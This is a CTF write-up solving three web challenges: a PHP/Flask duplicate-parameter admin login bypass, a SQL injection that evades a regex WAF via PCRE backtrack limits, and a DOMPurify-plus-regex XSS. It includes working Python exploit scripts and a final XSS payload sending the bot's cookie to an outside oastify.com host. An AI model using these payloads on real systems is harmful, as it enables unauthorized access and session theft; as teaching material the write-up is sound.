Last weekend, I participated in the 0xL4ugh CTF as part of ARESx. There were some infrastructure problems, but overall it was a fun CTF and we secured the 14th place.

Unfortunately there was only 1 pwn challenge so I tried myself at web challenges and managed to solve 3. This is a write up of them: Micro, Simple WAF and DamnPurify.

The challenge files can be found in my repo.

Micro

Micro was a proxy kind of challenge were one had to login as admin into a Flask web page which had a php-based web page as proxy. The credentials for the admin account were given in the challenge description (admin:admin) so the goal was simply to login.

The problem of the challenge was that the php page denied all requests with admin as username:

if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!=="127.0.0.1")
{
    die("Admin Login allowed from localhost only : )");
}
else
{
    send_to_api(file_get_contents("php://input"));
}

The REMOTE_ADDR is taken from the IP socket so it cant be spoofed and the admin check was a simple regex which also looked safe.

Bug

Proxy kind of challenges often have something todo with the proxy and the web page functioning differently which allows us to bypass the protective measures.

For this challenge, a clear hint is that the code uses file_get_contents("php://input"), which reads the complete request body instead of taking the username and password from the $_POST array, to forward the request to the backend server.

The vulnerability is that when sending the same key twice in a POST request body, php will return the value of the second key via $_POST['username'] and flask will return the value of the first key via request.form.get('username').

Exploit

To exploit this we can simply send a post request that contains the key username twice, with the first value being admin and second value being anything but admin.

URL ="http://20.115.83.90:1338/"

def login():
    data = [('username', 'admin'), ('password', 'admin'),('login-submit', '1'),('username','test')]

    r = requests.post(URL, data=data)

    print(r.content)

login()

Simple WAF

For Simple WAF one had to simply login as a valid user to get the flag. Since the only user in the database was admin, this again meant one had to login as admin.

$username=$_POST['username'];
$password=md5($_POST['password']);
if(waf($username))
{
    die("WAF Block");
}
else
{
    $res = $conn->query("select * from users where username='$username' and password='$password'");

    if($res->num_rows ===1)
    {
        echo "0xL4ugh{Fake_Flag}";
    }
    else
    {
        echo "<script>alert('Wrong Creds')</script>";
    }
}

There is a pretty obvious SQL injection vulnerability for the username parameter since we fully control its contents and the code directly uses it in a SQL query. The problem however is that the username is protected by a waf function which limits us to only lowercase letters in the username:

function waf($input)
{
    if(preg_match("/([^a-z])+/s",$input))
    {
        return true;
    }
    else
    {
        return false;
    }
}

This prevents us from doing any SQL injection since we cant modify the statement.

Bug

The bug for this challenge is a pretty big footgun in my opinion as it is not even mentioned in the documentation of the preg_match function. Only in the user contributed notes people mention a potential problem.

The behavior of the preg_match function is affected by runtime configurations such as the pcre.backtrack_limit. This limit sets the maximum number of backtracking steps that the regex library is allowed to make while attempting to match a regular expression. The default backtracking limit is 1000000. If the regex matching backtracks more than this limit, preg_match will return false without throwing any kind of error.

Exploit

We can exploit this behavior by simply appending a very long matching string before our SQL injection to pass the waf check:

URL="http://20.115.83.90:1339/"

def login():
    print("A"*0x100000+"' OR '1'='1' -- -")

    data = {
        'username': "A"*0x100000+"' OR '1'='1' -- -" ,
        'password': 'admin',
        'login-submit': '1'
    }

    r = requests.post(URL, data=data)

    print(r.content)

login()

DamnPurify

DamnPurify was a challenge that used the DOMPurify XSS sanitizer to try and prevent XSS. A very simple web page was given which takes the value passed via the xss URL parameter, sanitizes it via DOMPurify and then uses a regex on it which replaces style blocks with an empty string.

The goal of the challenge was to achieve XSS despite the sanitization and steal the cookie of the bot.

<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <script src="https://cure53.de/purify.js"></script>
  </head>
  <body>
<script>
    window.onload = () => {
        const params = new URLSearchParams(location.search);
        injection = params.get("xss");
        if (injection)
        {
            injection = DOMPurify.sanitize(injection);

            document.body.innerHTML = injection.replace(/<style>.*<\/style>/gs, "");
        }
    };
</script>
</html>

As DOMPurify is used extensively in practice, finding a bug directly in the library was unlikely the goal of the challenge. Therefore it had to have something to do with the regex used.

Exploit

Nothing special really I just tried a lot of things until something worked. Final payload:

http://20.115.83.90:1337/report.php?url=http://127.0.0.1/?xss=<img src="a <style>"><style>h1 {color: white</style> " onerror=fetch("http://zdg7rcb3lqhtsuix9r6uopbk0b62uuij.oastify.com/".concat(document.cookie))</p>